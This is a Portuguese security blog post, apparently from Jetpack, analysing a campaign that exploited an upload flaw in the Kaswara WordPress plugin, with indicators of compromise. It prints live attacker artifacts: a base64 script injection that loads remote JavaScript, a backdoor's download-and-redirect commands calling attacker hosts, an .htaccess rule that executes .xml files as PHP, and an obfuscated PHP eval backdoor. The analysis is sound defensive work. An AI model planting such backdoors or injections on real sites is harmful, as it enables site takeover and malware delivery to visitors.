Vulnerável plug-in Kaswara Modern WPBakery Page Builder Addons sendo explorado na natureza

Publicados: 2021-06-08

Em 20 de abril de 2021, nossos amigos do WPScan relataram uma vulnerabilidade grave no Kaswara Modern VC Addons, também conhecido como Kaswara Modern WPBakery Page Builder Addons. Ele não está mais disponível no Codecanyon/Envato, o que significa que se você estiver rodando, você deve escolher uma alternativa.

Esta vulnerabilidade permite que usuários não autenticados carreguem arquivos arbitrários para o diretório de ícones do plugin (./wp-content/uploads/kaswara/icons). Este é o primeiro Indicator Of Compromise (IOC) que nossos amigos do WPScan compartilharam conosco em seu relatório.

A capacidade de fazer upload de arquivos arbitrários para um site dá ao agente mal-intencionado controle total sobre o site, o que dificulta a definição da carga útil final dessa infecção; assim, mostraremos tudo o que encontramos até agora (nos empolgamos um pouco com a pesquisa, então sinta-se à vontade para pular para a seção do COI se não quiser ler).

Injeção de banco de dados, aplicativos Android falsos e outros backdoors

Obrigado ao nosso amigo Denis Sinegubko da Sucuri por apontar o acompanhamento de injeção de banco de dados usado com este ataque.

Os maus atores atualizariam a opção 'kaswara-customJS' para adicionar um trecho malicioso arbitrário de código Javascript. Aqui está um exemplo que encontramos:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

Essa string codificada em base64 se traduz em:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

E, como geralmente acontece com esse tipo de script, ele carregará em cadeia uma série de outros trechos de código Javascript, e a carga final será um malvertising ou um kit de exploração. Isso é muito semelhante ao que o Wordfence relatou aqui.

Nesse caso, o script está morrendo em hxxp://double-clickd[.]com/ e não está carregando nenhum conteúdo ruim. Encontrei Javascript suspeito chamando este site desde o início de 2020 e as pessoas já o bloqueiam desde 2018.

Aplicativos falsos carregados no site

Os 40 aplicativos Android encontrados nos sites que examinamos eram versões falsas de aplicativos diferentes, como AliPay, PayPal, Correos, DHL e muitos outros, que felizmente estavam sendo detectados pelos fornecedores de antivírus mais populares de acordo com esta análise do VirusTotal.

Resultados do VirusTotal em um dos arquivos APK encontrados em um site comprometido

Não verifiquei as intenções do aplicativo, mas uma rápida revisão sobre as permissões solicitadas pode nos dar um vislumbre do que ele poderia fazer:

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.INTERNET
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

Esses arquivos não estão sendo carregados imediatamente usando o exploit Kaswara. Depois que o site for comprometido, os invasores carregarão outras ferramentas primeiro para controlar totalmente o site.

Arquivos enviados

Alguns backdoors e outros malwares também foram encontrados em sites comprometidos por essa vulnerabilidade. Vou compartilhar uma análise rápida dos mais populares e interessantes neste post. No entanto, quero primeiro focar no mais complexo.

Redirecionar e aplicativos falsos

Os aplicativos falsos que encontrei em vários sites comprometidos não foram carregados explorando a vulnerabilidade Kaswara. Eles estão sendo carregados no site usando uma ferramenta de hacking multifuncional, que permite que o invasor carregue algum código remoto (fornecendo uma URL ou string) e redirecione o usuário para um site malicioso.

O arquivo pode ser facilmente identificado pela presença desta string: base64_decode('MTIz');error_reporting(0); função

Curiosamente, ele randomiza todo o resto, menos isso.

O malware está em uma única linha, o que também é um IOC interessante se você estiver procurando por esse tipo de anomalia de código.

malware c.php com codificação completa

Para facilitar a compreensão, decodifiquei a maior parte do código, renomeei as funções interessantes e embelezei o código. O malware inclui 6 funções diferentes, e 5 delas são baseadas nos valores passados ​​na variável $_GET['ts'] . Para este documento, vamos considerar uma das muitas instâncias que encontrei: c.php .

/c.php?ts=kt

Isso não faz nada e forçará o site a retornar um erro 500 (mais tarde no código).

/c.php?ts=1

Altera o valor do sinalizador $q1a para true para realizar uma validação de código e enviar uma mensagem OK para o invasor.

Nesse caso, o site remoto responde: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Código”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

Grava um arquivo no servidor com código fornecido pelo conteúdo de $_GET["v"] contanto que $_GET["p"] seja a soma de verificação SHA1 de 123 (lembre-se do primeiro IOC de base64_decode('MTIz') ? this é essa soma de verificação).

/c.php?ts=tt

Grava 5 MB de “-” no servidor, provavelmente usado para testar se a função de upload funcionará no servidor.

/c.php?ts=dwm&h=HASH1,HASH2

Quando o malware recebe essa solicitação, ele realiza um teste para verificar se os arquivos carregados foram gravados com sucesso no servidor. Seus hashes MD5 devem ser conhecidos e são enviados para a variável $_GET['h'] como valores separados por vírgula.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

Faz o download de um arquivo de uma série de sites de terceiros e o salva no servidor com o nome dos últimos 12 caracteres do md5 do arquivo baixado.

Esta é a função que está sendo usada para fazer upload de aplicativos falsos para o servidor.

Aqui está um exemplo da solicitação para baixar arquivos maliciosos /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Redirecionando o acesso

Se a opção kt ou nenhuma opção foi selecionada, o código prossegue para o redirecionamento, que é obtido solicitando um blob JSON com os dados necessários. Em seguida, ele redireciona o visitante usando a função de cabeçalho.

A resposta é assim: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

A função para executar uma requisição cURL com os parâmetros necessários é esta: Nada extravagante…

E pode ser traduzido para esta solicitação cURL:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

A URL final é, até onde pude testar, aleatória, mas compartilhando a mesma característica de ser uma página falsa para um serviço ou aplicativo popular.

wp-content/uploads/kaswara/icons/16/javas.xml e wp-content/uploads/kaswara/icons/16/.htaccess

Um arquivo XML geralmente não é marcado como uma ameaça potencial, mas neste caso, temos um arquivo .htaccess especialmente criado que altera a forma como o servidor da web o vê:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

Na verdade, ele diz ao Apache para entender qualquer arquivo javas, homes ou menus com xml, php ou pdf como um arquivo PHP a ser processado e executado de acordo. Portanto, qualquer um desses arquivos presentes na mesma estrutura de diretórios que este .htaccess será suspeito.

O arquivo javas.xml é o mesmo que alguns outros arquivos maliciosos carregados no site. Descobri que a diferença é que alguns têm uma ou duas linhas em branco no final do arquivo, o que torna o hash tradicional um pouco mais complicado.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

O código malicioso é ofuscado usando strings codificadas str_rot13 e base64. Ele também usa valores hexadecimais e operações matemáticas para ocultar um pouco mais as strings. A carga útil final é desconhecida, pois criará uma função com base nos valores de uma solicitação POST. No entanto, a carga útil parece ser a mesma todas as vezes, pois depende de uma verificação md5 antes de criá-la (c42ea979ed982c02632430e9e98a66d6 é o hash md5).

Conclusão

Como esta é uma campanha ativa, no momento em que escrevemos este post, encontramos cada vez mais exemplos de malware diferentes sendo descartados nos sites afetados. Alguns são apenas variações do que temos aqui, enquanto outros são interessantes o suficiente para uma análise mais profunda. Procure alguns posts menores em breve para explorar alguns desses outros exemplos.

Isso ilustra a importância de ter suas extensões atualizadas com as correções de segurança mais recentes; se os desenvolvedores não lançarem correções em tempo hábil ou se ele for removido do repositório WordPress.org (ou outros mercados), recomendamos que você encontre uma alternativa mais segura para ele.

Se você estiver preocupado com malware e vulnerabilidade em seu site, confira os recursos de segurança do Jetpack. O Jetpack Security oferece segurança abrangente e fácil de usar para sites WordPress, incluindo backups, verificação de malware e proteção contra spam.

Indicadores de Compromisso

Aqui você encontra a lista completa de todos os IOCs que identificamos:

Hash (SHA-1) Caminho Descrição da ameaça
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 Aplicativo Android falso
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 Aplicativo Android falso
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded Aplicativo Android falso
b354b2193e13956747cf3cf1268caa9ae9601a0 ./c016456e66cd Aplicativo Android falso
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf Aplicativo Android falso
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 Aplicativo Android falso
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe Aplicativo Android falso
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c Aplicativo Android falso
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a Aplicativo Android falso
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e Aplicativo Android falso
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b Aplicativo Android falso
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa Aplicativo Android falso
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc Aplicativo Android falso
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea Aplicativo Android falso
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb Aplicativo Android falso
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 Aplicativo Android falso
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae Aplicativo Android falso
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 Aplicativo Android falso
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e Aplicativo Android falso
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c Aplicativo Android falso
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e Aplicativo Android falso
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f Aplicativo Android falso
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b Aplicativo Android falso
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 Aplicativo Android falso
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 Aplicativo Android falso
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 Aplicativo Android falso
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c Aplicativo Android falso
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc Aplicativo Android falso
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa Aplicativo Android falso
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 Aplicativo Android falso
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d Aplicativo Android falso
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 Aplicativo Android falso
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 Aplicativo Android falso
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 Aplicativo Android falso
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 Aplicativo Android falso
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 Aplicativo Android falso
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 Aplicativo Android falso
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d Aplicativo Android falso
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 Aplicativo Android falso
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 Aplicativo Android falso
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php Malware descartado
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php Malware descartado
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php Carregador de arquivo PHP
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php Malware descartado
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php Malware de execução remota de código
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php Malware descartado
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php Malware descartado
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php Malware descartado
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php Malware descartado
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip Malware descartado
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip Malware descartado
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php Malware descartado
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php Malware descartado
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php Malware de execução remota de código
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php Malware descartado
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php ou ./wp-content/uploads/xeh02b.php Malware descartado
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php Malware descartado
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php Malware de execução remota de código
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php Malware descartado
wp-content/uploads/kaswara/icons/16/javas.xml Malware de execução remota de código
smurfetta.ru Domínio malicioso
http://papass.ru Domínio malicioso